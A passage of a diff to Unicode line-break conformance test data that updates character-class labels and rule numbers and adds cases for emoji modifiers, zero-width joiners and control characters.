+× 0025 × 0308 × 002F ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 0025 × 0308 × 0020 × 002F ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0025 × 2060 ÷ # × [0.3] PERCENT SIGN (PO) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0025 × 0020 × 2060 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0025 × 0308 × 2060 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0025 × 0308 × 0020 × 2060 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0025 × 0308 × 2060 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0025 × 0308 × 0020 × 2060 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0025 × 200B ÷ # × [0.3] PERCENT SIGN (PO) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0025 × 0020 × 200B ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0025 × 0308 × 200B ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0025 × 0308 × 0020 × 200B ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0025 × 0308 × 200B ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0025 × 0308 × 0020 × 200B ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0025 ÷ 1F1E6 ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 0025 × 0020 ÷ 1F1E6 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0025 × 0308 ÷ 1F1E6 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0025 × 00A7 ÷ # × [0.3] PERCENT SIGN (PO) × [24.03] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0025 × 0308 ÷ 1F1E6 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0025 ÷ 261D ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0025 × 0020 ÷ 261D ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0025 × 0308 ÷ 261D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 261D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0025 ÷ 1F3FB ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0025 × 0020 ÷ 1F3FB ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0025 × 0308 ÷ 1F3FB ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0025 × 0001 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0025 × 0020 ÷ 0001 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0025 × 0308 × 0001 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0025 × 200D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0025 × 0020 ÷ 200D ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0025 × 0308 × 200D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 200D ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0025 × 00A7 ÷ # × [0.3] PERCENT SIGN (PO) × [24.02] SECTION SIGN (AI_AL) ÷ [0.3]
× 0025 × 0020 ÷ 00A7 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0025 × 0308 × 00A7 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [24.03] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0025 × 50005 ÷ # × [0.3] PERCENT SIGN (PO) × [24.03] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0025 × 0308 × 00A7 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.02] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0025 × 50005 ÷ # × [0.3] PERCENT SIGN (PO) × [24.02] <reserved-50005> (XX_AL) ÷ [0.3]
× 0025 × 0020 ÷ 50005 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0025 × 0308 × 50005 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [24.03] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0025 × 0E01 ÷ # × [0.3] PERCENT SIGN (PO) × [24.03] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0025 × 0308 × 50005 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.02] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0025 × 0E01 ÷ # × [0.3] PERCENT SIGN (PO) × [24.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0025 × 0020 ÷ 0E01 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0025 × 0308 × 0E01 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [24.03] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0025 × 0308 × 0E01 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0025 × 3041 ÷ # × [0.3] PERCENT SIGN (PO) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0025 × 0020 ÷ 3041 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0025 × 0308 × 3041 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0025 × 0308 × 3041 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0024 × 0023 ÷ # × [0.3] DOLLAR SIGN (PR) × [24.02] NUMBER SIGN (AL) ÷ [0.3]
× 0024 × 0020 ÷ 0023 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0024 × 0308 × 0023 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [24.02] NUMBER SIGN (AL) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0024 × 0308 × 0023 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.02] NUMBER SIGN (AL) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 0024 ÷ 2014 ÷ # × [0.3] DOLLAR SIGN (PR) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 0024 × 0020 ÷ 2014 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0024 × 0308 ÷ 2014 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0024 × 0308 ÷ 2014 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 0024 × 0009 ÷ # × [0.3] DOLLAR SIGN (PR) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0024 × 0020 ÷ 0009 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0024 × 0308 × 0009 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0024 × 0308 × 0009 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0024 ÷ 00B4 ÷ # × [0.3] DOLLAR SIGN (PR) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0024 × 0020 ÷ 00B4 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0024 × 0308 ÷ 00B4 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0024 × 0308 ÷ 00B4 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0024 × 000B ÷ # × [0.3] DOLLAR SIGN (PR) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0024 × 0020 × 000B ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0024 × 0308 × 000B ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0024 × 0308 × 0020 × 000B ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0024 × 0308 × 000B ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0024 × 0308 × 0020 × 000B ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0024 ÷ FFFC ÷ # × [0.3] DOLLAR SIGN (PR) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0024 × 0020 ÷ FFFC ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0024 × 0308 ÷ FFFC ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0024 × 0308 ÷ FFFC ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0024 × 007D ÷ # × [0.3] DOLLAR SIGN (PR) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0024 × 0020 × 007D ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0024 × 0308 × 007D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0024 × 0308 × 0020 × 007D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0024 × 0308 × 007D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0024 × 0308 × 0020 × 007D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0024 × 0029 ÷ # × [0.3] DOLLAR SIGN (PR) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0024 × 0020 × 0029 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0024 × 0308 × 0029 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0024 × 0308 × 0020 × 0029 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0024 × 0001 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0024 × 0020 ÷ 0001 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0024 × 0308 × 0001 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 0024 × 0308 × 0029 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0024 × 0308 × 0020 × 0029 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0024 × 000D ÷ # × [0.3] DOLLAR SIGN (PR) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0024 × 0020 × 000D ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0024 × 0308 × 000D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0024 × 0308 × 0020 × 000D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0024 × 0308 × 000D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0024 × 0308 × 0020 × 000D ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0024 × 0021 ÷ # × [0.3] DOLLAR SIGN (PR) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0024 × 0020 × 0021 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0024 × 0308 × 0021 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0024 × 0308 × 0020 × 0021 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0024 × 0308 × 0021 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0024 × 0308 × 0020 × 0021 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0024 × 00A0 ÷ # × [0.3] DOLLAR SIGN (PR) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 0024 × 0020 ÷ 00A0 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0024 × 0308 × 00A0 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0024 × 0308 × 00A0 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0024 × AC00 ÷ # × [0.3] DOLLAR SIGN (PR) × [27.03] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0024 × 0020 ÷ AC00 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0024 × 0308 × AC00 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [27.03] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0024 × 0308 × AC00 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.03] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0024 × AC01 ÷ # × [0.3] DOLLAR SIGN (PR) × [27.03] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0024 × 0020 ÷ AC01 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0024 × 0308 × AC01 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [27.03] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0024 × 0308 × AC01 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.03] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0024 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0024 × 05D0 ÷ # × [0.3] DOLLAR SIGN (PR) × [24.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0024 × 0020 ÷ 05D0 ÷ # × [0.3] DOLLAR SIGN (PR) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0024 × 0308 × 05D0 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [24.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0024 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0024 × 0308 × 05D0 ÷ # × [0.3] DOLLAR SIGN (PR) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.02] HEBREW LETTER ALEF (HL) ÷ [0.3]
